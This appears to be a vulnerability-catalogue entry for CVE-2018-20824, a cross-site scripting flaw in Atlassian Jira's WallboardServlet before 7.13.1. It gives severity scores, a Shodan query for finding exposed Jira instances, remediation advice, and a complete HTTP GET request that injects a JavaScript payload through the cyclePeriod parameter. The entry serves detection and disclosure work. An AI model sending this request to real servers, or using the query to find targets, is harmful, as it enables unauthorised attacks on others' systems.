| Title | Atlassian Jira WallboardServlet <7.13.1 - Cross-Site Scripting |
|---|---|
| Author | madrobot,dwisiswant0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Upgrade to Atlassian Jira version 7.13.1 or later to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.46419 |
| CVE ID | CVE-2018-20824 |
| CWE ID | CWE-79 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira"http.component:"atlassian confluence"cpe:"cpe:2.3:a:atlassian:jira" |
| Tags | cve2018 cve atlassian jira xss vuln |
The WallboardServlet resource in Jira before version 7.13.1 allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the cyclePeriod parameter.
GET /plugins/servlet/Wallboard/?dashboardId=10000&dashboardId=10000&cyclePeriod=alert(document.domain) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (SS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-20824.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-20824.pcap
N/AN/A